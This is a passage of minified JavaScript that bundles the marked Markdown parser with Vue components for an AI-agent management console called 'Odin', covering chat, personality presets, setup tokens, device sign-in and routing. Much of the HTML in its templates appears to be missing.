t=this.rules.inline.escape.exec(e);if(t)return{type:"escape",raw:t[0],text:t[1]}}tag(e){const t=this.rules.inline.tag.exec(e);if(t)return!this.lexer.state.inLink&&this.rules.other.startATag.test(t[0])?this.lexer.state.inLink=!0:this.lexer.state.inLink&&this.rules.other.endATag.test(t[0])&&(this.lexer.state.inLink=!1),!this.lexer.state.inRawBlock&&this.rules.other.startPreScriptTag.test(t[0])?this.lexer.state.inRawBlock=!0:this.lexer.state.inRawBlock&&this.rules.other.endPreScriptTag.test(t[0])&&(this.lexer.state.inRawBlock=!1),{type:"html",raw:t[0],inLink:this.lexer.state.inLink,inRawBlock:this.lexer.state.inRawBlock,block:!1,text:t[0]}}link(e){const t=this.rules.inline.link.exec(e);if(t){const s=t[2].trim();if(!this.options.pedantic&&this.rules.other.startAngleBracket.test(s)){if(!this.rules.other.endAngleBracket.test(s))return;const i=Cl(s.slice(0,-1),"\\");if((s.length-i.length)%2===0)return}else{const i=IE(t[2],"()");if(i===-2)return;if(i>-1){const o=(t[0].indexOf("!")===0?5:4)+t[1].length+i;t[2]=t[2].substring(0,i),t[0]=t[0].substring(0,o).trim(),t[3]=""}}let a=t[2],n="";if(this.options.pedantic){const i=this.rules.other.pedanticHrefTitle.exec(a);i&&(a=i[1],n=i[3])}else n=t[3]?t[3].slice(1,-1):"";return a=a.trim(),this.rules.other.startAngleBracket.test(a)&&(this.options.pedantic&&!this.rules.other.endAngleBracket.test(s)?a=a.slice(1):a=a.slice(1,-1)),Sm(t,{href:a&&a.replace(this.rules.inline.anyPunctuation,"$1"),title:n&&n.replace(this.rules.inline.anyPunctuation,"$1")},t[0],this.lexer,this.rules)}}reflink(e,t){let s;if((s=this.rules.inline.reflink.exec(e))||(s=this.rules.inline.nolink.exec(e))){const a=(s[2]||s[1]).replace(this.rules.other.multipleSpaceGlobal," "),n=t[a.toLowerCase()];if(!n){const i=s[0].charAt(0);return{type:"text",raw:i,text:i}}return Sm(s,n,s[0],this.lexer,this.rules)}}emStrong(e,t,s=""){let a=this.rules.inline.emStrongLDelim.exec(e);if(!a||a[3]&&s.match(this.rules.other.unicodeAlphaNumeric))return;if(!(a[1]||a[2]||"")||!s||this.rules.inline.punctuation.exec(s)){const i=[...a[0]].length-1;let l,o,r=i,c=0;const d=a[0][0]==="*"?this.rules.inline.emStrongRDelimAst:this.rules.inline.emStrongRDelimUnd;for(d.lastIndex=0,t=t.slice(-1*e.length+i);(a=d.exec(t))!=null;){if(l=a[1]||a[2]||a[3]||a[4]||a[5]||a[6],!l)continue;if(o=[...l].length,a[3]||a[4]){r+=o;continue}else if((a[5]||a[6])&&i%3&&!((i+o)%3)){c+=o;continue}if(r-=o,r>0)continue;o=Math.min(o,o+r+c);const u=[...a[0]][0].length,p=e.slice(0,i+a.index+u+o);if(Math.min(i,o)%2){const h=p.slice(1,-1);return{type:"em",raw:p,text:h,tokens:this.lexer.inlineTokens(h)}}const m=p.slice(2,-2);return{type:"strong",raw:p,text:m,tokens:this.lexer.inlineTokens(m)}}}}codespan(e){const t=this.rules.inline.code.exec(e);if(t){let s=t[2].replace(this.rules.other.newLineCharGlobal," ");const a=this.rules.other.nonSpaceChar.test(s),n=this.rules.other.startingSpaceChar.test(s)&&this.rules.other.endingSpaceChar.test(s);return a&&n&&(s=s.substring(1,s.length-1)),{type:"codespan",raw:t[0],text:s}}}br(e){const t=this.rules.inline.br.exec(e);if(t)return{type:"br",raw:t[0]}}del(e){const t=this.rules.inline.del.exec(e);if(t)return{type:"del",raw:t[0],text:t[2],tokens:this.lexer.inlineTokens(t[2])}}autolink(e){const t=this.rules.inline.autolink.exec(e);if(t){let s,a;return t[2]==="@"?(s=t[1],a="mailto:"+s):(s=t[1],a=s),{type:"link",raw:t[0],text:s,href:a,tokens:[{type:"text",raw:s,text:s}]}}}url(e){var s;let t;if(t=this.rules.inline.url.exec(e)){let a,n;if(t[2]==="@")a=t[0],n="mailto:"+a;else{let i;do i=t[0],t[0]=((s=this.rules.inline._backpedal.exec(t[0]))==null?void 0:s[0])??"";while(i!==t[0]);a=t[0],t[1]==="www."?n="http://"+t[0]:n=t[0]}return{type:"link",raw:t[0],text:a,href:n,tokens:[{type:"text",raw:a,text:a}]}}}inlineText(e){const t=this.rules.inline.text.exec(e);if(t){const s=this.lexer.state.inRawBlock;return{type:"text",raw:t[0],text:t[0],escaped:s}}}},Ya=class qd{constructor(t){Et(this,"tokens");Et(this,"options");Et(this,"state");Et(this,"tokenizer");Et(this,"inlineQueue");this.tokens=[],this.tokens.links=Object.create(null),this.options=t||ui,this.options.tokenizer=this.options.tokenizer||new $r,this.tokenizer=this.options.tokenizer,this.tokenizer.options=this.options,this.tokenizer.lexer=this,this.inlineQueue=[],this.state={inLink:!1,inRawBlock:!1,top:!0};const s={other:Ms,block:Xo.normal,inline:Sl.normal};this.options.pedantic?(s.block=Xo.pedantic,s.inline=Sl.pedantic):this.options.gfm&&(s.block=Xo.gfm,this.options.breaks?s.inline=Sl.breaks:s.inline=Sl.gfm),this.tokenizer.rules=s}static get rules(){return{block:Xo,inline:Sl}}static lex(t,s){return new qd(s).lex(t)}static lexInline(t,s){return new qd(s).inlineTokens(t)}lex(t){t=t.replace(Ms.carriageReturn,` -`),this.blockTokens(t,this.tokens);for(let s=0;s(o=c.call({lexer:this},t,s))?(t=t.substring(o.raw.length),s.push(o),!0):!1))continue;if(o=this.tokenizer.space(t)){t=t.substring(o.raw.length);const c=s.at(-1);o.raw.length===1&&c!==void 0?c.raw+=` -`:s.push(o);continue}if(o=this.tokenizer.code(t)){t=t.substring(o.raw.length);const c=s.at(-1);(c==null?void 0:c.type)==="paragraph"||(c==null?void 0:c.type)==="text"?(c.raw+=` -`+o.raw,c.text+=` -`+o.text,this.inlineQueue.at(-1).src=c.text):s.push(o);continue}if(o=this.tokenizer.fences(t)){t=t.substring(o.raw.length),s.push(o);continue}if(o=this.tokenizer.heading(t)){t=t.substring(o.raw.length),s.push(o);continue}if(o=this.tokenizer.hr(t)){t=t.substring(o.raw.length),s.push(o);continue}if(o=this.tokenizer.blockquote(t)){t=t.substring(o.raw.length),s.push(o);continue}if(o=this.tokenizer.list(t)){t=t.substring(o.raw.length),s.push(o);continue}if(o=this.tokenizer.html(t)){t=t.substring(o.raw.length),s.push(o);continue}if(o=this.tokenizer.def(t)){t=t.substring(o.raw.length);const c=s.at(-1);(c==null?void 0:c.type)==="paragraph"||(c==null?void 0:c.type)==="text"?(c.raw+=` -`+o.raw,c.text+=` -`+o.raw,this.inlineQueue.at(-1).src=c.text):this.tokens.links[o.tag]||(this.tokens.links[o.tag]={href:o.href,title:o.title});continue}if(o=this.tokenizer.table(t)){t=t.substring(o.raw.length),s.push(o);continue}if(o=this.tokenizer.lheading(t)){t=t.substring(o.raw.length),s.push(o);continue}let r=t;if((l=this.options.extensions)!=null&&l.startBlock){let c=1/0;const d=t.slice(1);let u;this.options.extensions.startBlock.forEach(p=>{u=p.call({lexer:this},d),typeof u=="number"&&u>=0&&(c=Math.min(c,u))}),c<1/0&&c>=0&&(r=t.substring(0,c+1))}if(this.state.top&&(o=this.tokenizer.paragraph(r))){const c=s.at(-1);a&&(c==null?void 0:c.type)==="paragraph"?(c.raw+=` -`+o.raw,c.text+=` -`+o.text,this.inlineQueue.pop(),this.inlineQueue.at(-1).src=c.text):s.push(o),a=r.length!==t.length,t=t.substring(o.raw.length);continue}if(o=this.tokenizer.text(t)){t=t.substring(o.raw.length);const c=s.at(-1);(c==null?void 0:c.type)==="text"?(c.raw+=` -`+o.raw,c.text+=` -`+o.text,this.inlineQueue.pop(),this.inlineQueue.at(-1).src=c.text):s.push(o);continue}if(t){const c="Infinite loop on byte: "+t.charCodeAt(0);if(this.options.silent){console.error(c);break}else throw new Error(c)}}return this.state.top=!0,s}inline(t,s=[]){return this.inlineQueue.push({src:t,tokens:s}),s}inlineTokens(t,s=[]){var o,r,c;let a=t,n=null;if(this.tokens.links){const d=Object.keys(this.tokens.links);if(d.length>0)for(;(n=this.tokenizer.rules.inline.reflinkSearch.exec(a))!=null;)d.includes(n[0].slice(n[0].lastIndexOf("[")+1,-1))&&(a=a.slice(0,n.index)+"["+"a".repeat(n[0].length-2)+"]"+a.slice(this.tokenizer.rules.inline.reflinkSearch.lastIndex))}for(;(n=this.tokenizer.rules.inline.anyPunctuation.exec(a))!=null;)a=a.slice(0,n.index)+"++"+a.slice(this.tokenizer.rules.inline.anyPunctuation.lastIndex);for(;(n=this.tokenizer.rules.inline.blockSkip.exec(a))!=null;)a=a.slice(0,n.index)+"["+"a".repeat(n[0].length-2)+"]"+a.slice(this.tokenizer.rules.inline.blockSkip.lastIndex);let i=!1,l="";for(;t;){i||(l=""),i=!1;let d;if((r=(o=this.options.extensions)==null?void 0:o.inline)!=null&&r.some(p=>(d=p.call({lexer:this},t,s))?(t=t.substring(d.raw.length),s.push(d),!0):!1))continue;if(d=this.tokenizer.escape(t)){t=t.substring(d.raw.length),s.push(d);continue}if(d=this.tokenizer.tag(t)){t=t.substring(d.raw.length),s.push(d);continue}if(d=this.tokenizer.link(t)){t=t.substring(d.raw.length),s.push(d);continue}if(d=this.tokenizer.reflink(t,this.tokens.links)){t=t.substring(d.raw.length);const p=s.at(-1);d.type==="text"&&(p==null?void 0:p.type)==="text"?(p.raw+=d.raw,p.text+=d.text):s.push(d);continue}if(d=this.tokenizer.emStrong(t,a,l)){t=t.substring(d.raw.length),s.push(d);continue}if(d=this.tokenizer.codespan(t)){t=t.substring(d.raw.length),s.push(d);continue}if(d=this.tokenizer.br(t)){t=t.substring(d.raw.length),s.push(d);continue}if(d=this.tokenizer.del(t)){t=t.substring(d.raw.length),s.push(d);continue}if(d=this.tokenizer.autolink(t)){t=t.substring(d.raw.length),s.push(d);continue}if(!this.state.inLink&&(d=this.tokenizer.url(t))){t=t.substring(d.raw.length),s.push(d);continue}let u=t;if((c=this.options.extensions)!=null&&c.startInline){let p=1/0;const m=t.slice(1);let h;this.options.extensions.startInline.forEach(y=>{h=y.call({lexer:this},m),typeof h=="number"&&h>=0&&(p=Math.min(p,h))}),p<1/0&&p>=0&&(u=t.substring(0,p+1))}if(d=this.tokenizer.inlineText(u)){t=t.substring(d.raw.length),d.raw.slice(-1)!=="_"&&(l=d.raw.slice(-1)),i=!0;const p=s.at(-1);(p==null?void 0:p.type)==="text"?(p.raw+=d.raw,p.text+=d.text):s.push(d);continue}if(t){const p="Infinite loop on byte: "+t.charCodeAt(0);if(this.options.silent){console.error(p);break}else throw new Error(p)}}return s}},Fr=class{constructor(e){Et(this,"options");Et(this,"parser");this.options=e||ui}space(e){return""}code({text:e,lang:t,escaped:s}){var i;const a=(i=(t||"").match(Ms.notSpaceStart))==null?void 0:i[0],n=e.replace(Ms.endingNewline,"")+` -`;return a?'
'+(s?n:Aa(n,!0))+`
-`:"
"+(s?n:Aa(n,!0))+`
-`}blockquote({tokens:e}){return`
-${this.parser.parse(e)}
-`}html({text:e}){return e}heading({tokens:e,depth:t}){return`${this.parser.parseInline(e)} -`}hr(e){return`
-`}list(e){const t=e.ordered,s=e.start;let a="";for(let l=0;l -`+a+" -`}listitem(e){var s;let t="";if(e.task){const a=this.checkbox({checked:!!e.checked});e.loose?((s=e.tokens[0])==null?void 0:s.type)==="paragraph"?(e.tokens[0].text=a+" "+e.tokens[0].text,e.tokens[0].tokens&&e.tokens[0].tokens.length>0&&e.tokens[0].tokens[0].type==="text"&&(e.tokens[0].tokens[0].text=a+" "+Aa(e.tokens[0].tokens[0].text),e.tokens[0].tokens[0].escaped=!0)):e.tokens.unshift({type:"text",raw:a+" ",text:a+" ",escaped:!0}):t+=a+" "}return t+=this.parser.parse(e.tokens,!!e.loose),`
  • ${t}
  • -`}checkbox({checked:e}){return"'}paragraph({tokens:e}){return`

    ${this.parser.parseInline(e)}

    -`}table(e){let t="",s="";for(let n=0;n${a}`),` - -`+t+` -`+a+`
    -`}tablerow({text:e}){return` -${e} -`}tablecell(e){const t=this.parser.parseInline(e.tokens),s=e.header?"th":"td";return(e.align?`<${s} align="${e.align}">`:`<${s}>`)+t+` -`}strong({tokens:e}){return`${this.parser.parseInline(e)}`}em({tokens:e}){return`${this.parser.parseInline(e)}`}codespan({text:e}){return`${Aa(e,!0)}`}br(e){return"
    "}del({tokens:e}){return`${this.parser.parseInline(e)}`}link({href:e,title:t,tokens:s}){const a=this.parser.parseInline(s),n=wm(e);if(n===null)return a;e=n;let i='
    ",i}image({href:e,title:t,text:s,tokens:a}){a&&(s=this.parser.parseInline(a,this.parser.textRenderer));const n=wm(e);if(n===null)return Aa(s);e=n;let i=`${s}{const r=l[o].flat(1/0);s=s.concat(this.walkTokens(r,t))}):l.tokens&&(s=s.concat(this.walkTokens(l.tokens,t)))}}return s}use(...e){const t=this.defaults.extensions||{renderers:{},childTokens:{}};return e.forEach(s=>{const a={...s};if(a.async=this.defaults.async||a.async||!1,s.extensions&&(s.extensions.forEach(n=>{if(!n.name)throw new Error("extension name required");if("renderer"in n){const i=t.renderers[n.name];i?t.renderers[n.name]=function(...l){let o=n.renderer.apply(this,l);return o===!1&&(o=i.apply(this,l)),o}:t.renderers[n.name]=n.renderer}if("tokenizer"in n){if(!n.level||n.level!=="block"&&n.level!=="inline")throw new Error("extension level must be 'block' or 'inline'");const i=t[n.level];i?i.unshift(n.tokenizer):t[n.level]=[n.tokenizer],n.start&&(n.level==="block"?t.startBlock?t.startBlock.push(n.start):t.startBlock=[n.start]:n.level==="inline"&&(t.startInline?t.startInline.push(n.start):t.startInline=[n.start]))}"childTokens"in n&&n.childTokens&&(t.childTokens[n.name]=n.childTokens)}),a.extensions=t),s.renderer){const n=this.defaults.renderer||new Fr(this.defaults);for(const i in s.renderer){if(!(i in n))throw new Error(`renderer '${i}' does not exist`);if(["options","parser"].includes(i))continue;const l=i,o=s.renderer[l],r=n[l];n[l]=(...c)=>{let d=o.apply(n,c);return d===!1&&(d=r.apply(n,c)),d||""}}a.renderer=n}if(s.tokenizer){const n=this.defaults.tokenizer||new $r(this.defaults);for(const i in s.tokenizer){if(!(i in n))throw new Error(`tokenizer '${i}' does not exist`);if(["options","rules","lexer"].includes(i))continue;const l=i,o=s.tokenizer[l],r=n[l];n[l]=(...c)=>{let d=o.apply(n,c);return d===!1&&(d=r.apply(n,c)),d}}a.tokenizer=n}if(s.hooks){const n=this.defaults.hooks||new or;for(const i in s.hooks){if(!(i in n))throw new Error(`hook '${i}' does not exist`);if(["options","block"].includes(i))continue;const l=i,o=s.hooks[l],r=n[l];or.passThroughHooks.has(i)?n[l]=c=>{if(this.defaults.async)return Promise.resolve(o.call(n,c)).then(u=>r.call(n,u));const d=o.call(n,c);return r.call(n,d)}:n[l]=(...c)=>{let d=o.apply(n,c);return d===!1&&(d=r.apply(n,c)),d}}a.hooks=n}if(s.walkTokens){const n=this.defaults.walkTokens,i=s.walkTokens;a.walkTokens=function(l){let o=[];return o.push(i.call(this,l)),n&&(o=o.concat(n.call(this,l))),o}}this.defaults={...this.defaults,...a}}),this}setOptions(e){return this.defaults={...this.defaults,...e},this}lexer(e,t){return Ya.lex(e,t??this.defaults)}parser(e,t){return Xa.parse(e,t??this.defaults)}parseMarkdown(e){return(s,a)=>{const n={...a},i={...this.defaults,...n},l=this.onError(!!i.silent,!!i.async);if(this.defaults.async===!0&&n.async===!1)return l(new Error("marked(): The async option was set to true by an extension. Remove async: false from the parse options object to return a Promise."));if(typeof s>"u"||s===null)return l(new Error("marked(): input parameter is undefined or null"));if(typeof s!="string")return l(new Error("marked(): input parameter is of type "+Object.prototype.toString.call(s)+", string expected"));i.hooks&&(i.hooks.options=i,i.hooks.block=e);const o=i.hooks?i.hooks.provideLexer():e?Ya.lex:Ya.lexInline,r=i.hooks?i.hooks.provideParser():e?Xa.parse:Xa.parseInline;if(i.async)return Promise.resolve(i.hooks?i.hooks.preprocess(s):s).then(c=>o(c,i)).then(c=>i.hooks?i.hooks.processAllTokens(c):c).then(c=>i.walkTokens?Promise.all(this.walkTokens(c,i.walkTokens)).then(()=>c):c).then(c=>r(c,i)).then(c=>i.hooks?i.hooks.postprocess(c):c).catch(l);try{i.hooks&&(s=i.hooks.preprocess(s));let c=o(s,i);i.hooks&&(c=i.hooks.processAllTokens(c)),i.walkTokens&&this.walkTokens(c,i.walkTokens);let d=r(c,i);return i.hooks&&(d=i.hooks.postprocess(d)),d}catch(c){return l(c)}}}onError(e,t){return s=>{if(s.message+=` -Please report this to https://github.com/markedjs/marked.`,e){const a="

    An error occurred:

    "+Aa(s.message+"",!0)+"
    ";return t?Promise.resolve(a):a}if(t)return Promise.reject(s);throw s}}},ii=new LE;function yt(e,t){return ii.parse(e,t)}yt.options=yt.setOptions=function(e){return ii.setOptions(e),yt.defaults=ii.defaults,Yg(yt.defaults),yt};yt.getDefaults=Ku;yt.defaults=ui;yt.use=function(...e){return ii.use(...e),yt.defaults=ii.defaults,Yg(yt.defaults),yt};yt.walkTokens=function(e,t){return ii.walkTokens(e,t)};yt.parseInline=ii.parseInline;yt.Parser=Xa;yt.parser=Xa.parse;yt.Renderer=Fr;yt.TextRenderer=sp;yt.Lexer=Ya;yt.lexer=Ya.lex;yt.Tokenizer=$r;yt.Hooks=or;yt.parse=yt;yt.options;yt.setOptions;yt.use;yt.walkTokens;yt.parseInline;Xa.parse;Ya.lex;const NE={breaks:!0,gfm:!0};function Cm(e){if(!e)return"";try{if(typeof yt<"u"&&yt.parse){const t=yt.parse(e,NE);return typeof ym<"u"?ym.sanitize(t):t}}catch{}return e.replace(/&/g,"&").replace(//g,">").replace(/\n/g,"
    ")}function ME(e){const t=new Date(e),s=t.getHours().toString().padStart(2,"0"),a=t.getMinutes().toString().padStart(2,"0");return`${s}:${a}`}const DE={run_command:"terminal",ssh_command:"terminal",run_script:"terminal",read_file:"file",apply_patch:"edit",list_directory:"folder",search_knowledge:"search",ingest_document:"book",generate_image:"image",analyze_image:"eye",analyze_pdf:"file",browser_screenshot:"globe",manage_process:"sliders"};function PE(e){return DE[e]||"wrench"}const $E=/https?:\/\/\S+\.(?:png|jpg|jpeg|gif|webp|svg)(?:\?\S*)?/gi;function Tm(e){if(!e)return[];const t=e.match($E);return t?[...new Set(t)]:[]}const FE={template:` -
    - - -
    - -
    -
    -
    - - - - - -
    -
    Odin is watching
    -
    Ask anything. Run commands. Manage infrastructure.
    -
    - -
    -
    -
    - - - - - -
    -
    - - - -
    -
    -
    - - {{ typingText }} -
    -
    -
    -
    - - -
    -
    - - - -
    -
    - Enter to send · Shift+Enter for newline - - - {{ wsStatus }} - -
    -
    -
    `,setup(){const e=f([]),t=f(""),s=f(!1),a=f(""),n=f(null),i=f(null),l=f(0),o=f("");let r=null,c=0;const d=["Check system health","List running services","Show disk usage","What can you do?"],u=B(()=>t.value.trim().length>0&&!s.value),p=f(mt.state||"disconnected");let m=null;const h=B(()=>{const N=p.value;return N==="connected"?"Connected":N==="reconnecting"?"Reconnecting…":N==="connecting"?"Connecting…":"REST fallback"}),y=["Watching across all realms...","Processing...","Consulting the bifrost...","Observing..."],k=B(()=>{const N=Math.floor(l.value/4)%y.length,M=l.value;return M>3?`${y[N]} (${M}s)`:y[0]});function A(){Ut(()=>{n.value&&(n.value.scrollTop=n.value.scrollHeight)})}function g(){if(!i.value)return;const N=i.value;N.style.height="auto",N.style.height=Math.min(N.scrollHeight,120)+"px"}function b(N,M,$={}){const re={id:++c,role:N,content:M,timestamp:Date.now(),html:N==="bot"?Cm(M):"",tools_used:$.tools_used||[],is_error:$.is_error||!1,images:N==="bot"?Tm(M):[],files:$.files||[],_showTools:!1};return e.value.push(re),A(),N==="bot"&&Ut(()=>x()),re}function x(){if(!n.value)return;n.value.querySelectorAll(".chat-markdown pre:not([data-copy])").forEach(M=>{M.setAttribute("data-copy","true"),M.style.position="relative";const $=document.createElement("button");$.className="chat-code-copy",$.textContent="Copy",$.addEventListener("click",()=>{const re=M.querySelector("code"),ce=re?re.textContent:M.textContent;navigator.clipboard.writeText(ce).then(()=>{$.textContent="Copied!",setTimeout(()=>{$.textContent="Copy"},1500)}).catch(()=>{})}),M.appendChild($)})}function w(N){if(N===0)return!0;const M=e.value[N-1],$=e.value[N],re=new Date(M.timestamp).toDateString(),ce=new Date($.timestamp).toDateString();return re!==ce}function _(N){const M=new Date(N),$=new Date;if(M.toDateString()===$.toDateString())return"Today";const re=new Date($);return re.setDate(re.getDate()-1),M.toDateString()===re.toDateString()?"Yesterday":M.toLocaleDateString(void 0,{month:"short",day:"numeric",year:"numeric"})}function T(N){t.value=N,Ut(()=>te())}function L(N){window.open(N,"_blank","noopener")}function E(N){N.target.style.display="none"}function F(){l.value=0,r=setInterval(()=>{l.value++},1e3)}function O(){r&&(clearInterval(r),r=null),l.value=0}function I(N){s.value&&(s.value=!1,O(),N.type==="chat_response"?b("bot",N.content,{tools_used:N.tools_used||[],is_error:N.is_error||!1,files:N.files||[]}):N.type==="chat_error"&&b("bot",N.error||"Unknown error",{is_error:!0}),Ut(()=>{var M;return(M=i.value)==null?void 0:M.focus()}))}async function H(N){try{const M=await z.post("/api/chat",{content:N,channel_id:o.value});b("bot",M.response,{tools_used:M.tools_used||[],is_error:M.is_error||!1,files:M.files||[]})}catch(M){b("bot",M.message||"Failed to send message",{is_error:!0})}}async function te(){const N=t.value.trim();if(!N||s.value)return;b("user",N),t.value="",s.value=!0,F(),i.value&&(i.value.style.height="auto"),mt.connected&&mt.sendChat(N,{channelId:o.value})||(await H(N),s.value=!1,O()),Ut(()=>{var $;return($=i.value)==null?void 0:$.focus()})}async function ee(){a.value="";try{if(!o.value){const M=await z.get("/api/auth/session");o.value=M.channel_id||M.user_id||"web-user"}const N=await z.get("/api/sessions/"+encodeURIComponent(o.value));if(N&&N.messages&&N.messages.length>0){for(const M of N.messages){const $=M.role==="user"?"user":"bot";let re=M.content||"";if($==="user"){const Z=re.match(/^\[.*?\]:\s*/);Z&&(re=re.slice(Z[0].length))}if(!re.trim())continue;const ce={id:++c,role:$,content:re,timestamp:M.timestamp?M.timestamp*1e3:Date.now(),html:$==="bot"?Cm(re):"",tools_used:[],is_error:!1,images:$==="bot"?Tm(re):[],files:[],_showTools:!1};e.value.push(ce)}Ut(()=>{A(),x()})}}catch(N){N&&N.status!==404&&(a.value="Couldn't load chat history — earlier messages may be missing. Refresh to retry.",Se.error(a.value))}}return st(()=>{mt.subscribe("chat",I),p.value=mt.state||"disconnected",m=mt.onState(N=>{p.value=N}),ee(),Ut(()=>{var N;return(N=i.value)==null?void 0:N.focus()})}),wt(()=>{mt.unsubscribe("chat",I),m&&(m(),m=null),O()}),{messages:e,input:t,sending:s,historyError:a,messagesEl:n,inputEl:i,canSend:u,wsStatus:h,typingText:k,suggestions:d,send:te,autoResize:g,formatTime:ME,formatDate:_,showDateSeparator:w,useSuggestion:T,openImage:L,onImageError:E,getToolIcon:PE,loadHistory:ee}}},BE={setup(){const e=f("odin"),t=f(""),s=f(""),a=f(""),n=f({}),i=f([]),l=f([]),o=f(!1),r=f(!1),c=f(null),d=f(!0),u=f(""),p=f(!1),m=f(!1),h=B(()=>e.value==="custom"),y=B(()=>[...i.value,...l.value]),k=B(()=>l.value.includes(e.value)),A=B(()=>{var L;return h.value?t.value||"Odin":((L=n.value[e.value])==null?void 0:L.name)||e.value}),g=B(()=>{var L;return h.value?s.value||"(empty — will use Odin default)":((L=n.value[e.value])==null?void 0:L.identity)||""}),b=B(()=>{var L;return h.value?a.value||"(empty — will use Odin default)":((L=n.value[e.value])==null?void 0:L.voice)||""});async function x(){d.value=!0;try{const L=await z.get("/api/personality");e.value=L.preset||"odin",t.value=L.custom_name||"",s.value=L.custom_identity||"",a.value=L.custom_voice||"",n.value=L.presets||{},i.value=L.builtin_presets||[],l.value=L.user_presets||[]}catch(L){c.value=L.message}finally{d.value=!1}}async function w(){o.value=!0,c.value=null,r.value=!1;try{await z.put("/api/personality",{preset:e.value,custom_name:t.value,custom_identity:s.value,custom_voice:a.value}),r.value=!0,setTimeout(()=>r.value=!1,3e3)}catch(L){c.value=L.message}finally{o.value=!1}}async function _(){const L=u.value.trim();if(L){m.value=!0,c.value=null;try{await z.post("/api/personality/presets",{name:L,display_name:A.value,identity:g.value,voice:b.value}),p.value=!1,u.value="",await x(),e.value=L.toLowerCase().replace(/ /g,"_")}catch(E){c.value=E.message}finally{m.value=!1}}}async function T(){if(await is({title:"Delete preset",message:`Delete preset "${e.value}"? This cannot be undone.`,confirmLabel:"Delete",danger:!0})){c.value=null;try{await z.del(`/api/personality/presets/${encodeURIComponent(e.value)}`),await x(),e.value="odin"}catch(E){c.value=E.message}}}return st(x),{preset:e,customName:t,customIdentity:s,customVoice:a,presets:n,presetNames:y,isCustom:h,isUserPreset:k,previewName:A,previewIdentity:g,previewVoice:b,saving:o,saved:r,error:c,loading:d,save:w,showSavePreset:p,newPresetName:u,savingPreset:m,saveAsPreset:_,deletePreset:T,builtinPresets:i,userPresets:l}},template:` -
    -
    -

    Personality

    -

    Configure how Odin presents itself. Changes apply immediately — no restart needed.

    -
    - -
    - Loading... -
    - - -
    - `},UE={props:["onComplete"],template:` -
    - -
    `,setup(e){const t=f(""),s=f(""),a=f(!1),n=f(!1),i=f(""),l=f("Initialization pending."),o=f(!1),r=f(""),c=f(null),d=f({}),u=f("");let p=0,m=null;function h(){return p+=1,m==null||m.abort(),m=null,p}function y(w,_,T){return typeof z.postWithOptions=="function"?z.postWithOptions(w,_,{signal:T}):z.post(w,_)}async function k(){var T,L,E;a.value=!0,i.value="",l.value="Saving setup…";const w={},_=!!s.value.trim();t.value.trim()&&(w.web_api_token=t.value.trim()),s.value.trim()&&(w.discord_token=s.value.trim());try{const F=z.post("/api/setup/complete",w);t.value="",s.value="";const O=await F,I=((T=O.discord)==null?void 0:T.state)||O.discord_status;if(I==="failed"?(i.value=((L=O.discord)==null?void 0:L.error)||"Discord attachment failed. Setup was saved.",l.value="Saved. Discord attachment failed."):I==="connecting"?l.value="Saved. Connecting Discord…":I==="ready"?l.value="Saved. Discord ready.":_?l.value="Saved. Discord token stored; attachment status is pending.":l.value=O.message||"Setup saved. Ready to sign in.",(E=O.restart_required)!=null&&E.length){const H=O.message||`Restart Odin to apply: ${O.restart_required.join(", ")}`;l.value.includes(H)||(l.value+=` ${H}`)}n.value=!0}catch(F){i.value=F.message||"Setup could not be saved.",l.value="Initialization pending."}finally{a.value=!1}}async function A(){const w=h(),_=typeof AbortController=="function"?new AbortController:null;m=_,o.value=!0,u.value="";try{const T=await y("/api/codex/device-code",void 0,_==null?void 0:_.signal);if(w!==p)return;c.value=T,r.value="pending";const L=await y("/api/codex/device-poll",{device_auth_id:T.device_auth_id,user_code:T.user_code,interval:T.interval},_==null?void 0:_.signal);if(w!==p)return;d.value=L||{},r.value="ready"}catch(T){w===p&&(T==null?void 0:T.name)!=="AbortError"&&(u.value=T.message||"Device sign-in failed.",r.value="failed")}finally{w===p&&(o.value=!1,m=null)}}function g(){h(),o.value=!1,x()}function b(){var w;(w=e.onComplete)==null||w.call(e)}function x(){r.value="",c.value=null,d.value={},u.value=""}return wt(()=>{h()}),{webApiToken:t,discordToken:s,saving:a,completed:n,error:i,statusMessage:l,save:k,onComplete:b,deviceLoading:o,deviceState:r,deviceInfo:c,deviceResult:d,deviceError:u,startDeviceLogin:A,cancelDeviceLogin:g,clearDeviceState:x}}},Ht=(e,t)=>s=>({path:e,query:{...s.query,tab:t}}),cb=[{path:"/",redirect:"/dashboard"},{path:"/dashboard",component:xT,meta:{label:"Dashboard",icon:"dashboard",section:"Workspace",description:"System posture and recent activity"}},{path:"/chat",component:FE,meta:{label:"Chat",icon:"chat",section:"Workspace",description:"Direct operator conversation"}},{path:"/operations",component:$1,meta:{label:"Operations",icon:"operations",section:"Operate",description:"Execution, agents, loops, processes, and schedules"}},{path:"/history",component:K1,meta:{label:"History",icon:"history",section:"Observe",description:"Audit trail, sessions, traces, and usage"}},{path:"/capabilities",component:vC,meta:{label:"Capabilities",icon:"capabilities",section:"Manage",description:"Tools, skills, knowledge, and memory"}},{path:"/personality",component:BE,meta:{label:"Personality",icon:"personality",section:"Manage",description:"Behavior and response profile"}},{path:"/system",component:fT,meta:{label:"System",icon:"system",section:"Manage",description:"Health, configuration, access, and updates"}},{path:"/execution",redirect:Ht("/operations","live")},{path:"/agents",redirect:Ht("/operations","agents")},{path:"/loops",redirect:Ht("/operations","loops")},{path:"/processes",redirect:Ht("/operations","processes")},{path:"/schedules",redirect:Ht("/operations","schedules")},{path:"/audit",redirect:Ht("/history","audit")},{path:"/sessions",redirect:Ht("/history","sessions")},{path:"/traces",redirect:Ht("/history","traces")},{path:"/usage",redirect:Ht("/history","usage")},{path:"/tools",redirect:Ht("/capabilities","tools")},{path:"/skills",redirect:Ht("/capabilities","skills")},{path:"/mcp",redirect:Ht("/capabilities","mcp-servers")},{path:"/knowledge",redirect:Ht("/capabilities","knowledge")},{path:"/memory",redirect:Ht("/capabilities","memory")},{path:"/learned",redirect:Ht("/capabilities","learned")},{path:"/health",redirect:Ht("/system","health")},{path:"/resources",redirect:Ht("/system","resources")},{path:"/logs",redirect:Ht("/system","logs")},{path:"/config",redirect:Ht("/system","config")},{path:"/host-access",redirect:Ht("/system","host-access")},{path:"/hosts",redirect:Ht("/system","hosts")},{path:"/internals",redirect:Ht("/system","internals")}],Ul=d1({history:HS(),routes:cb});Ul.afterEach(e=>{var s;const t=(s=e.meta)==null?void 0:s.label;document.title=t?`Odin — ${t}`:"Odin — Management"});const zE={template:` - `,props:["onLogin","sessionExpired"],setup(e){const t=f(""),s=f(null),a=f(!1),n=f(!1);async function i(){a.value=!0,s.value=null;try{z.setPersist(n.value),await z.login(t.value),e.onLogin()}catch(l){s.value=l.message||"Login 